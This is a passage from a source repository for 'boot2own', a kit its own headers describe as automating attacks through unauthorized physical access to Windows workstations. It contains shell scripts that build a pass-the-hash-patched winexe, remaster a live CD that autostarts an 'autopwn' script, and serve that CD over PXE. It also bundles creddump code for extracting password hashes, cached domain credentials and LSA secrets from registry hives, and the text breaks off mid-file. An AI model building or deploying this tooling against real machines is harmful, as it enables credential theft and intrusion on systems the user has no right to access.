if [[ -z $mgw64 ]]; then 97 | 98 | echo "[!] gcc-mingw-w64 was not found on your repos, cannot contiune" 99 | echo " are you on Ubuntu 12.04 ?" 100 | exit 101 | 102 | else 103 | 104 | get_aptpkg 'binutils-mingw-w64' 105 | get_aptpkg 'gcc-mingw-w64' 106 | get_aptpkg 'mingw-w64' 107 | get_aptpkg 'mingw-w64-dev' 108 | 109 | fi 110 | 111 | dep="autoconf cmake comerr-dev g++ gcc libtalloc-dev libtevent-dev libpopt-dev libbsd-dev libc6-dev zlib1g-dev make python-dev xterm" 112 | 113 | for i in $dep; do 114 | get_aptpkg $i 115 | done 116 | 117 | if [ -e $spath/srcs/binary/pwinexe ]; then 118 | echo "[+] pwinexe is already compiled, exiting..." 119 | exit 120 | fi 121 | 122 | echo "[*] preping winexe and samba sources" 123 | cd $spath/srcs/ 124 | tar xzf winexe-waf.tar.gz 125 | cd winexe-waf/ 126 | rm -rf samba/ 127 | cp ../samba-hashpass.patch . 128 | cp ../samba-4.0.4.tar.gz . 129 | tar xzf samba-4.0.4.tar.gz 130 | mv samba-4.0.4 samba 131 | 132 | echo "[*] Patching winexe..." 133 | cd samba 134 | patch -p1 < ../../samba-hashpass.patch 135 | 136 | echo "[*] Compiling a patched winexe binary, please wait..." 137 | cd ../source 138 | ./waf configure --use-samba-tree-headers 139 | ./waf build 140 | mkdir $spath/srcs/binary 141 | mv build/winexe $spath/srcs/binary/pwinexe 142 | cd $spath 143 | 144 | echo "[*] copying pwinexe to live-files/boot-2-own/" 145 | cp $spath/srcs/binary/pwinexe $spath/live-files/boot-2-own/ 146 | chmod +x $spath/live-files/boot-2-own/pwinexe 147 | 148 | if [ ! -e $spath/live-files/boot-2-own/pwinexe ]; then 149 | echo "[!] something went wrong, check if pwinexe is in $spath/winexe-build/binary/" 150 | echo " if it is check folder permissions if not check dependancies." 151 | exit 1 152 | fi 153 | 154 | echo "[+] Done compiling, now use b2o-isogen.sh to generate liveCD." 155 | exit 156 | 157 | -------------------------------------------------------------------------------- /boot2own/b2o-isogen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # b2o-isogen.sh creates a B2O LiveCD from an existing Crunchbang liveCD. 4 | # 5 | # b2o-isogen.sh is part of boot2own-1.0 6 | # boot2own-1.0 creates rapid automated attacks that takes 7 | # advantage of unauthorized physical access to Windows workstations. 8 | # 9 | # copyright (C) 2014 xor-function 10 | # license BSD-3 11 | # 12 | #-------------------------------------------------------------------- 13 | 14 | use() { 15 | echo "" 16 | echo "usage: ./b2o-isogen.sh Crunchbang-xx-xxxx.iso" 17 | echo "" 18 | } 19 | 20 | # func requires args: username 21 | chk_usr() { 22 | if [ "$(whoami)" != "$1" ]; then 23 | echo "[!] you need to be root, exiting..." 24 | exit 25 | fi 26 | } 27 | 28 | tstamp() { 29 | date +"%F"_"%H":"%M" 30 | } 31 | 32 | # func requires aguments (full path/file name) and tstamp() func **** 33 | make_runlog() { 34 | touch $1 35 | echo "script run on "$(tstamp)"" > $1 36 | } 37 | 38 | chk_tubes() { 39 | echo "[*] Checking your tubes..." 40 | if ! ping -c 1 google.com > /dev/null 2>&1 ; then 41 | if ! ping -c 1 yahoo.com > /dev/null 2>&1 ; then 42 | if ! ping -c 1 bing.com > /dev/null 2>&1 ; then 43 | clear 44 | echo "[!] Do you have an internet connection???" 45 | exit 2 46 | fi 47 | fi 48 | fi 49 | echo "[+] tubes working..." 50 | 51 | } 52 | 53 | # func requires aguments **** 54 | get_aptpkg() { 55 | 56 | tpkg=$(dpkg -s $1 | grep "install ok installed") 57 | if [ -z "$tpkg" ]; then 58 | 59 | if [ -z $aptup ]; then 60 | apt-get update 61 | aptup='1' 62 | fi 63 | 64 | echo "[*] installing $1" 65 | if ! apt-get -y install $1; then 66 | echo "[!] APT failed to install "$1", are your repos working? Exiting..." 67 | exit 1 68 | fi 69 | 70 | else 71 | echo "[+] $1 is already installed" 72 | fi 73 | 74 | } 75 | 76 | get_permission() { 77 | while true; do 78 | read answer 79 | case $answer in 80 | [Yy] ) break;; 81 | [Yy][eE][sS] ) break;; 82 | [nN] ) printf "\nExiting Now \n"; exit;; 83 | [Nn][oO] ) printf "\nExiting Now \n"; exit;; 84 | * ) printf "\nNot Valid, Answer y or n\n";; 85 | esac 86 | done 87 | } 88 | 89 | chk_usr root 90 | 91 | if [[ $# -gt 1 || $# -lt 1 ]] ; then 92 | use 93 | exit 94 | fi 95 | 96 | if [[ ! -f $1 ]]; then 97 | use 98 | echo "[!] Thats not a file" 99 | exit 100 | fi 101 | 102 | fchk=$(echo "$1" | grep -i "crunchbang") 103 | 104 | if [ -z $fchk ]; then 105 | echo "[!] Did you change the iso's name?" 106 | exit 107 | fi 108 | 109 | IMG=$1 110 | spath="$( cd "$(dirname "$0")" ; pwd -P )" 111 | 112 | if [ ! -f $spath/live-files/pld2 ]; then 113 | echo "[!] pld2 was not found, exiting" ; exit 1 114 | elif [ ! -f $spath/live-files/pld3 ]; then 115 | echo "[!] pld3 was not found, exiting" ; exit 1 116 | elif [ ! -f $spath/live-files/boot-2-own/b2o-autopwn.sh ]; then 117 | echo "[!] boot2own-autopwn.sh was not found, exiting" ; exit 1 118 | elif [ ! -f $spath/live-files/boot-2-own/pwinexe ]; then 119 | echo "[!] patched winexe was not found" 120 | echo " have you compiled it already with winexe-gen.sh?"; exit 1 121 | elif [ ! -d $spath/live-files/boot-2-own/creddump ] ;then 122 | echo "[!] creddump was not found"; exit 1 123 | fi 124 | 125 | clear 126 | echo "" 127 | echo "This script will remaster a Crunchbang Disk to create the boot2own live environment." 128 | echo "" 129 | echo "WARNING---WARNING---WARNING" 130 | echo "insure you have an internet connection as two packages will need to be installed in the" 131 | echo "chrooted environment." 132 | echo "" 133 | echo "CONTINUE? (y/n)" 134 | get_permission 135 | chk_usr root 136 | chk_tubes 137 | 138 | if [ ! -f /var/log/b2o-remaster ]; then 139 | 140 | get_aptpkg squashfs-tools 141 | get_aptpkg genisoimage 142 | make_runlog /var/log/b2o-remaster 143 | echo "[+] installation of packages successfull" 144 | 145 | fi 146 | 147 | if [ -e $spath/b2o-remaster/boot2own.iso ]; then 148 | echo "[!] A generated iso has been detected, will delete if you wish to continue." 149 | echo " Continue (y/n)?" 150 | get_permission 151 | rm -f $spath/b2o-remaster/boot2own.iso 152 | fi 153 | 154 | if [ -d $spath/b2o-remaster/expanded ]; then 155 | echo "[!] Detected expanded filesystem, will be deleted to continue" 156 | rm -rf $spath/b2o-remaster/expanded 157 | fi 158 | 159 | if [ -d $spath/b2o-remaster/iso ]; then 160 | echo "[!] Detected iso filesystem folder, will be deleted to continue" 161 | rm -rf $spath/b2o-remaster/ 162 | fi 163 | 164 | if [ -f $spath/run-log ]; then 165 | echo "" > run-log 166 | fi 167 | 168 | mkdir -p $spath/b2o-remaster/expanded/done/ 169 | mkdir $spath/b2o-remaster/iso/ 170 | mkdir /mnt/cb 171 | 172 | echo "[*] mounting iso and extracting contents" 173 | mount -t iso9660 -o loop $IMG /mnt/cb &>> run-log 174 | if [ ! -d /mnt/cb/live ]; then 175 | echo "[!] mount failed, is this the correct iso?" 176 | exit 1 177 | fi 178 | 179 | echo "[*] Copying extracted iso content to a temp dir" 180 | cp -r /mnt/cb/{debian,dists,isolinux,live} $spath/b2o-remaster/iso 181 | if [ ! -d $spath/b2o-remaster/iso/live ]; then 182 | echo "[!] something went wrong copying iso contents, exiting..." 183 | exit 1 184 | fi 185 | umount /mnt/cb && rm -r /mnt/cb 186 | 187 | echo "[*] moving squashfs" 188 | cp $spath/b2o-remaster/iso/live/filesystem.squashfs $spath/b2o-remaster/expanded/ 189 | echo "[*] extracting squashfs" 190 | rm $spath/b2o-remaster/iso/live/filesystem.squashfs 191 | cd $spath/b2o-remaster/expanded 192 | unsquashfs filesystem.squashfs 193 | rm filesystem.squashfs 194 | cat /etc/resolv.conf squashfs-root/etc/resolv.conf 195 | 196 | echo "[*] generating chroot script" 197 | cat > squashfs-root/root/auto-conf.sh <> run-log 215 | mount -vt proc proc squashfs-root/proc/ &>> run-log 216 | mount -vt sysfs sysfs squashfs-root/sys/ &>> run-log 217 | mount -vt tmpfs tmpfs squashfs-root/run/ &>> run-log 218 | echo "[*] executing chroot script" 219 | chroot squashfs-root/ /root/auto-conf.sh 220 | echo "[+] chroot script done" 221 | echo "[*] unmounting chroot filesystem" 222 | umount -vt devpts devpts squashfs-root/dev/pts/ &>> run-log 223 | umount -vt proc proc squashfs-root/proc/ &>> run-log 224 | umount -vt sysfs sysfs squashfs-root/sys/ &>> run-log 225 | umount -vt tmpfs tmpfs squashfs-root/run/ &>> run-log 226 | 227 | if [ ! -d squashfs-root/var/www/ ]; then 228 | echo "[!] chroot script failed! Cannot continue..." 229 | exit 230 | fi 231 | 232 | echo "[*] copying boot-2-own engine and http payloads" 233 | rm squashfs-root/root/auto-conf.sh 234 | rm squashfs-root/var/www/* 235 | cp $spath/live-files/{pld2,pld3} squashfs-root/var/www/ 236 | cp -r $spath/live-files/boot-2-own squashfs-root/root/ 237 | chmod -R +x $(find $spath/b2o-remaster/expanded/squashfs-root/root/boot-2-own/ -name '*.*') 238 | chmod +x squashfs-root/root/boot-2-own/pwinexe 239 | echo "## Run boot2own-autopwn.sh" >> squashfs-root/etc/skel/.config/openbox/autostart 240 | echo "terminator --geometry=750x600 -e 'sudo /bin/bash -c /root/boot-2-own/b2o-autopwn.sh' &" >> squashfs-root/etc/skel/.config/openbox/autostart 241 | 242 | echo "[*] repacking expanded squashfs" 243 | mksquashfs squashfs-root/ done/filesystem.squashfs 244 | if [ $? -ne 0 ]; then 245 | echo "[!] repacking failed, exiting" ; exit 1 246 | fi 247 | echo "[+] preping filesystem for iso" 248 | #Begin writing to isolinux/isolinux.cfg 249 | #|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| 250 | cat > $spath/b2o-remaster/iso/isolinux/isolinux.cfg << EOL 251 | default live 252 | label live 253 | menu label Live Session 254 | menu default 255 | kernel /live/vmlinuz 256 | append initrd=/live/initrd.img boot=live config live-config.hostname=null live-config.username=b2o 257 | 258 | prompt 0 259 | timeout 0 260 | EOL 261 | #|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| 262 | #Finished creating isolinux/isolinux.cfg 263 | 264 | echo "[*] copying squashfs to iso dir" 265 | cp done/filesystem.squashfs $spath/b2o-remaster/iso/live/ 266 | cd $spath/b2o-remaster/iso/ 267 | genisoimage -D -r -V "B2O" -cache-inodes -J -l -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -o ../boot2own.iso . 268 | if [ $? -ne 0 ]; then 269 | echo "[!] iso generation failed, exiting" ; exit 1 270 | fi 271 | echo "[+] Script finished successfully, cleaning up..." 272 | rm -r $spath/b2o-remaster/{expanded,iso} 273 | echo "[+] Done!" 274 | echo "[+] boot2own.iso is saved in b2o-remaster..." 275 | sleep 4 276 | exit 0 277 | -------------------------------------------------------------------------------- /boot2own/b2o-pxe.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # b2o-pxe.sh creates a pxe server that serves the B2O LiveCD. 4 | # 5 | # b2o-pxe.sh is part of boot2own-1.0 6 | # boot2own-1.0 creates rapid automated attacks that takes 7 | # advantage of unauthorized physical access to Windows workstations. 8 | # 9 | # copyright (C) 2014 xor-function 10 | # license BSD-3 11 | # 12 | #-------------------------------------------------------------------- 13 | 14 | use() { 15 | echo "" 16 | echo "usage: ./b2o-pxe.sh boot2own.iso" 17 | echo "" 18 | } 19 | 20 | # func requires args: username 21 | check_usr() { 22 | if [ "$(whoami)" != "$1" ]; then 23 | echo "[!] you need to be root, exiting..." 24 | exit 25 | fi 26 | } 27 | 28 | tstamp() { 29 | date +"%F"_"%H":"%M" 30 | } 31 | 32 | # func requires aguments (full path/file name) and tstamp() func **** 33 | make_runlog() { 34 | touch $1 35 | echo "script run on "$(tstamp)"" > $1 36 | } 37 | 38 | check_tubes() { 39 | echo "[*] Checking your tubes..." 40 | if ! ping -c 1 google.com > /dev/null 2>&1 ; then 41 | if ! ping -c 1 yahoo.com > /dev/null 2>&1 ; then 42 | if ! ping -c 1 bing.com > /dev/null 2>&1 ; then 43 | clear 44 | echo "[!] Do you have an internet connection???" 45 | exit 2 46 | fi 47 | fi 48 | fi 49 | echo "[+] tubes working..." 50 | } 51 | 52 | # func requires aguments **** 53 | get_aptpkg() { 54 | 55 | tpkg=$(dpkg -s $1 | grep "install ok installed") 56 | if [ -z "$tpkg" ]; then 57 | 58 | if [ -z $aptup ]; then 59 | apt-get update 60 | aptup='1' 61 | fi 62 | 63 | echo "[*] installing $1" 64 | if ! apt-get -y install $1; then 65 | echo "[!] APT failed to install "$1", are your repos working? Exiting..." 66 | exit 1 67 | fi 68 | 69 | else 70 | echo "[+] $1 is already installed" 71 | fi 72 | 73 | } 74 | 75 | get_permission() { 76 | while true; do 77 | read answer 78 | case $answer in 79 | [Yy] ) break;; 80 | [Yy][eE][sS] ) break;; 81 | [nN] ) printf "\nExiting Now \n"; exit;; 82 | [Nn][oO] ) printf "\nExiting Now \n"; exit;; 83 | * ) printf "\nNot Valid, Answer y or n\n";; 84 | esac 85 | done 86 | } 87 | 88 | check_usr root 89 | 90 | if [[ $# -gt 1 || $# -lt 1 ]] ; then 91 | use 92 | exit 93 | fi 94 | 95 | if [[ ! -f $1 ]]; then 96 | use 97 | echo "[!] Thats not a file" 98 | exit 99 | fi 100 | 101 | fchk=$(echo "$1" | grep -i "boot2own.iso") 102 | 103 | if [ -z $fchk ]; then 104 | echo "[!] Did you change the iso's name?" 105 | exit 106 | fi 107 | 108 | IMG=$1 109 | PSIP='10.0.0.1' 110 | NMSK='255.255.255.0' 111 | IFS=. read -r if1 if2 if3 if4 <<< "$PSIP" 112 | IFS=. read -r msk1 msk2 msk3 msk4 <<< "$NMSK" 113 | NETIP=$(printf "%d.%d.%d.%d\n" "$((if1 & msk1))" "$((if2 & msk2))" "$((if3 & msk3))" "$((if4 & msk4))") 114 | 115 | IFS=. read -r ip1 ip2 ip3 ip4 <<< "$PSIP" 116 | DHCPL=$(printf "%d.%d.%d.%d\n" "$((ip1))" "$((ip2))" "$((ip3))" "$((if4 + 4 ))") 117 | 118 | IFS=. read -r ip1 ip2 ip3 ip4 <<< "$PSIP" 119 | DHCPH=$(printf "%d.%d.%d.%d\n" "$((ip1))" "$((ip2))" "$((ip3))" "$((if4 + 99 ))") 120 | 121 | clear 122 | echo "" 123 | echo "DEVICE IP WILL BE SET TO 10.0.0.1" 124 | echo "To run this script properly it needs to run as root and have a working internet" 125 | echo "connection. This script will install the apt packages dnsmasq and syslinux to" 126 | echo "create a functioning PXE server. The network configuration of your eth0 interface" 127 | echo "on your rpi will be modified acording to the above variables." 128 | echo "The B2O iso file will be copied to /tftpboot/b2o" 129 | echo "to have it boot over PXE" 130 | echo "" 131 | echo "WARNING---WARNING---WARNING" 132 | echo "If you are using the eth0 connection for your main network connection this will" 133 | echo "most likely disable your internet connection" 134 | echo "" 135 | echo "You may have to connect to the internet over WiFi or use a usb to ethernet adapter" 136 | echo "The program wicd-curses may prove usefull for establising a wireless connection" 137 | echo "with ease through ssh." 138 | echo "" 139 | echo "CONTINUE? (y/n)" 140 | 141 | get_permission 142 | check_usr root 143 | check_tubes 144 | 145 | if [ ! -e /var/log/rpi-pxe ]; then 146 | 147 | apt-get update 148 | get_aptpkg dnsmasq 149 | get_aptpkg syslinux-common 150 | 151 | else 152 | 153 | echo "You ran this script before, to continue it will erase the /tftpboot folder" 154 | echo "along with the interface and dnsmasq configuration files." 155 | echo "You need to perform a backup if any of the files are important to you." 156 | echo "CONTINUE? (y/n)?" 157 | 158 | get_permission 159 | rm -rf /tftpboot 160 | 161 | fi 162 | 163 | mkdir -p /tftpboot/{pxelinux.cfg,b2o} 164 | cp /usr/lib/syslinux/{memdisk,menu.c32,vesamenu.c32,pxelinux.0} /tftpboot 165 | mkdir /mnt/bt2own 166 | echo "[*] mounting iso and extracting contents to PXE boot directory" 167 | mount -t iso9660 -o loop $IMG /mnt/bt2own 168 | if [ ! -d /mnt/bt2own/live ]; then 169 | echo "[!] mount failed, is this the correct iso?" 170 | exit 171 | fi 172 | echo "[*] Copying extracted iso content to /tftpboot" 173 | cp /mnt/bt2own/live/{filesystem.squashfs,initrd.img,vmlinuz} /tftpboot/b2o/ 174 | if [ ! -f /tftpboot/b2o/vmlinuz ]; then 175 | echo "[!] something went wrong, exiting..." 176 | exit 177 | fi 178 | umount /mnt/bt2own 179 | rm -rf /mnt/bt2own 180 | #Begin writing to pxelinux.cfg/default 181 | #|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| 182 | 183 | cat > /tftpboot/pxelinux.cfg/default < /etc/network/interfaces << EOL 198 | auto lo 199 | iface lo inet loopback 200 | 201 | auto eth0 202 | iface eth0 inet static 203 | address $PSIP 204 | netmask $NMSK 205 | network $NETIP 206 | 207 | EOL 208 | 209 | echo "[*] Creating/writing to /etc/dnsmasq.conf" 210 | cat > /etc/dnsmasq.conf << EOL 211 | enable-tftp 212 | tftp-root=/tftpboot 213 | dhcp-boot=pxelinux.0 214 | interface=eth0 215 | dhcp-range=eth0,$DHCPL,$DHCPH,$NMSK,12h 216 | log-queries 217 | log-facility=/var/log/dnsmasq.log 218 | server=208.67.222.222 219 | no-resolv 220 | 221 | EOL 222 | 223 | # wrapping up.... 224 | ifdown eth0 225 | ifup eth0 226 | 227 | ipup=$(ip addr | grep eth0 | grep inet | awk -F" " '{print $2}'| cut -d'/' -f 1) 228 | 229 | if [ -z $ipup ]; then 230 | echo "[!] IP address not set, trying again" 231 | ifdown eth0 232 | ifconfig eth0 down 233 | ifconfig eth0 up 234 | ifup eth0 235 | echo "[*] if IP is still not up after exit, restart networking manually" 236 | fi 237 | 238 | if ! service dnsmasq stop; then 239 | killall dnsmasq 240 | if ! service dnsmasq start; then 241 | echo "Something is probably using port 53 use" 242 | echo "sudo netstat -tapen | grep ":53"" 243 | echo "to find out which program is causing problems" 244 | exit 7 245 | fi 246 | else 247 | service dnsmasq start 248 | fi 249 | 250 | make_runlog /var/log/rpi-pxe 251 | echo "[+] Script finished successfully, exiting..." 252 | 253 | exit 0 254 | -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/CHANGELOG: -------------------------------------------------------------------------------- 1 | Version: 0.3 Date: 8/1/2012 2 | 3 | * Fixed LM and NTLM Hash Corruption issue. Thanks to Jonathan Claudius. 4 | Closes Issue 3. 5 | 6 | Version: 0.2 Date: 2/24/2011 7 | 8 | * Fixed issue with wrong format specifier being used (L instead of I), which 9 | caused creddump to fail on 64-bit systems. 10 | -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/README: -------------------------------------------------------------------------------- 1 | OVERVIEW 2 | 3 | creddump is a python tool to extract various credentials and secrets from 4 | Windows registry hives. It currently extracts: 5 | * LM and NT hashes (SYSKEY protected) 6 | * Cached domain passwords 7 | * LSA secrets 8 | 9 | It essentially performs all the functions that bkhive/samdump2, 10 | cachedump, and lsadump2 do, but in a platform-independent way. 11 | 12 | It is also the first tool that does all of these things in an offline 13 | way (actually, Cain & Abel does, but is not open source and is only 14 | available on Windows). 15 | 16 | REQUIREMENTS 17 | 18 | alldump has only been tested on python 2.5. It should work on 2.4 as 19 | well, but will likely need modification before it will work on 2.3 or 20 | below. 21 | 22 | python-crypto is required for its MD5/DES/RC4 support. To obtain it, 23 | see: http://www.amk.ca/python/code/crypto 24 | 25 | For lsadump: system and SECURITY hives 26 | For cachedump: system and SECURITY hives 27 | For pwdump: system and SAM hives 28 | 29 | USAGE 30 | 31 | Dump cached domain hashes: 32 | usage: ./cachedump.py 33 | 34 | Dump LSA secrets: 35 | usage: ./lsadump.py 36 | 37 | Dump local password hashes: 38 | usage: ./pwdump.py 39 | 40 | FEATURES 41 | 42 | * Platform independent operation. The only inputs are the hive files 43 | from the system--we don't rely on any Windows functionality at all. 44 | * Open-source and (hopefully!) readble implementations of Windows 45 | obfuscation algorithms used to protect LSA secrets, cached domain 46 | passwords, and 47 | * A reasonably forgiving registry file parser in pure Python. Look 48 | through framework/types.py and framework/win32/rawreg.py to see how it 49 | works. 50 | * The first complete open-source implementation of advapi32's 51 | SystemFunction005. The version in the Wine source code does not 52 | appear to allow for keys longer than 7 bytes, while the Windows 53 | version (and this version) does. See decrypt_secret() in 54 | framework/win32/lsasecrets.py 55 | 56 | AUTHOR 57 | 58 | creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu). 59 | For more information on Syskey, LSA secrets, cached domain credentials, 60 | and lots of information on volatile memory forensics and reverse 61 | engineering, check out: 62 | 63 | http://moyix.blogspot.com/ 64 | 65 | CREDITS 66 | * AAron Walters. Much of the data type parsing code is taken from 67 | Volatility, an excellent memory analysis framework written in Python. 68 | He's also a really nice guy, and has helped me out a lot in my 69 | research. 70 | 71 | https://www.volatilesystems.com/default/volatility 72 | 73 | * Massimiliano Montoro (mao), for reversing the mechanism Windows uses 74 | to derive the LSA key so that it can be computed directly from the 75 | hive files, as decribed in this post: 76 | 77 | http://oxid.netsons.org/phpBB2/viewtopic.php?t=149 78 | http://www.oxid.it/ 79 | 80 | * Jeremy Allison, for the details of the obfuscation applied to password 81 | hashes in the SAM, as implemented in the original pwdump. 82 | 83 | http://us4.samba.org/samba/ftp/pwdump/ 84 | 85 | * Nicola Cuomo, for his excellent description of the syskey mechanism 86 | and how it is used to encrypt the SAM in Windows 2000 and above. 87 | 88 | http://www.studenti.unina.it/~ncuomo/syskey/ 89 | 90 | * Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to 91 | read LSA secrets directly from the registry, given the LSA key. 92 | 93 | http://www.xfocus.net/articles/200411/749.html 94 | 95 | [Note: the above is in Chinese, but quite comprehensible if you use 96 | Google Translate and can read C ;)] 97 | 98 | * Nicholas Ruff, for his perl implementation of des_set_odd_parity, 99 | which he apparently took from SSLEAY: 100 | 101 | http://seclists.org/pen-test/2005/Jan/0180.html 102 | 103 | * Arnaud Pilon, for the details of how to retrieve cached domain, as 104 | implemented in cachedump. 105 | 106 | http://www.securiteam.com/tools/5JP0I2KFPA.html 107 | 108 | * S�bastien Ke, for his cute hexdump recipe: 109 | 110 | http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 111 | 112 | LICENSE 113 | 114 | This program is free software: you can redistribute it and/or modify 115 | it under the terms of the GNU General Public License as published by 116 | the Free Software Foundation, either version 3 of the License, or 117 | (at your option) any later version. 118 | 119 | This program is distributed in the hope that it will be useful, 120 | but WITHOUT ANY WARRANTY; without even the implied warranty of 121 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 122 | GNU General Public License for more details. 123 | 124 | You should have received a copy of the GNU General Public License 125 | along with this program. If not, see . 126 | -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/cachedump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of creddump. 4 | # 5 | # creddump is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # creddump is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with creddump. If not, see . 17 | 18 | """ 19 | @author: Brendan Dolan-Gavitt 20 | @license: GNU General Public License 2.0 or later 21 | @contact: bdolangavitt@wesleyan.edu 22 | """ 23 | 24 | 25 | import sys 26 | from framework.win32.domcachedump import dump_file_hashes 27 | 28 | if len(sys.argv) < 3: 29 | print "usage: %s " % sys.argv[0] 30 | sys.exit(1) 31 | 32 | dump_file_hashes(sys.argv[1], sys.argv[2]) 33 | -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xor-function/fathomless/5bcbb48862f69fec1abd6b34705798fa81892da2/boot2own/live-files/boot-2-own/creddump/framework/__init__.py -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xor-function/fathomless/5bcbb48862f69fec1abd6b34705798fa81892da2/boot2own/live-files/boot-2-own/creddump/framework/__init__.pyc -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/addrspace.py: -------------------------------------------------------------------------------- 1 | # Volatility 2 | # Copyright (C) 2007 Volatile Systems 3 | # 4 | # Original Source: 5 | # Copyright (C) 2004,2005,2006 4tphi Research 6 | # Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters) 7 | # 8 | # This program is free software; you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation; either version 2 of the License, or (at 11 | # your option) any later version. 12 | # 13 | # This program is distributed in the hope that it will be useful, but 14 | # WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 16 | # General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with this program; if not, write to the Free Software 20 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 21 | # 22 | 23 | """ 24 | @author: AAron Walters 25 | @license: GNU General Public License 2.0 or later 26 | @contact: awalters@volatilesystems.com 27 | @organization: Volatile Systems 28 | """ 29 | 30 | """ Alias for all address spaces """ 31 | 32 | import os 33 | import struct 34 | 35 | class FileAddressSpace: 36 | def __init__(self, fname, mode='rb', fast=False): 37 | self.fname = fname 38 | self.name = fname 39 | self.fhandle = open(fname, mode) 40 | self.fsize = os.path.getsize(fname) 41 | 42 | if fast == True: 43 | self.fast_fhandle = open(fname, mode) 44 | 45 | def fread(self,len): 46 | return self.fast_fhandle.read(len) 47 | 48 | def read(self, addr, len): 49 | self.fhandle.seek(addr) 50 | return self.fhandle.read(len) 51 | 52 | def read_long(self, addr): 53 | string = self.read(addr, 4) 54 | (longval, ) = struct.unpack('L', string) 55 | return longval 56 | 57 | def get_address_range(self): 58 | return [0,self.fsize-1] 59 | 60 | def get_available_addresses(self): 61 | return [self.get_address_range()] 62 | 63 | def is_valid_address(self, addr): 64 | return addr < self.fsize - 1 65 | 66 | def close(): 67 | self.fhandle.close() 68 | 69 | # Code below written by Brendan Dolan-Gavitt 70 | 71 | BLOCK_SIZE = 0x1000 72 | 73 | class HiveFileAddressSpace: 74 | def __init__(self, fname): 75 | self.fname = fname 76 | self.base = FileAddressSpace(fname) 77 | 78 | def vtop(self, vaddr): 79 | return vaddr + BLOCK_SIZE + 4 80 | 81 | def read(self, vaddr, length, zero=False): 82 | first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE 83 | full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1 84 | left_over = (length + vaddr) % BLOCK_SIZE 85 | 86 | paddr = self.vtop(vaddr) 87 | if paddr == None and zero: 88 | if length < first_block: 89 | return "\0" * length 90 | else: 91 | stuff_read = "\0" * first_block 92 | elif paddr == None: 93 | return None 94 | else: 95 | if length < first_block: 96 | stuff_read = self.base.read(paddr, length) 97 | if not stuff_read and zero: 98 | return "\0" * length 99 | else: 100 | return stuff_read 101 | 102 | stuff_read = self.base.read(paddr, first_block) 103 | if not stuff_read and zero: 104 | stuff_read = "\0" * first_block 105 | 106 | new_vaddr = vaddr + first_block 107 | for i in range(0,full_blocks): 108 | paddr = self.vtop(new_vaddr) 109 | if paddr == None and zero: 110 | stuff_read = stuff_read + "\0" * BLOCK_SIZE 111 | elif paddr == None: 112 | return None 113 | else: 114 | new_stuff = self.base.read(paddr, BLOCK_SIZE) 115 | if not new_stuff and zero: 116 | new_stuff = "\0" * BLOCK_SIZE 117 | elif not new_stuff: 118 | return None 119 | else: 120 | stuff_read = stuff_read + new_stuff 121 | new_vaddr = new_vaddr + BLOCK_SIZE 122 | 123 | if left_over > 0: 124 | paddr = self.vtop(new_vaddr) 125 | if paddr == None and zero: 126 | stuff_read = stuff_read + "\0" * left_over 127 | elif paddr == None: 128 | return None 129 | else: 130 | stuff_read = stuff_read + self.base.read(paddr, left_over) 131 | return stuff_read 132 | 133 | def read_long_phys(self, addr): 134 | string = self.base.read(addr, 4) 135 | (longval, ) = struct.unpack('L', string) 136 | return longval 137 | 138 | def is_valid_address(self, vaddr): 139 | paddr = self.vtop(vaddr) 140 | if not paddr: return False 141 | return self.base.is_valid_address(paddr) 142 | -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/addrspace.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xor-function/fathomless/5bcbb48862f69fec1abd6b34705798fa81892da2/boot2own/live-files/boot-2-own/creddump/framework/addrspace.pyc -------------------------------------------------------------------------------- /boot2own/live-files/boot-2-own/creddump/framework/newobj.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: 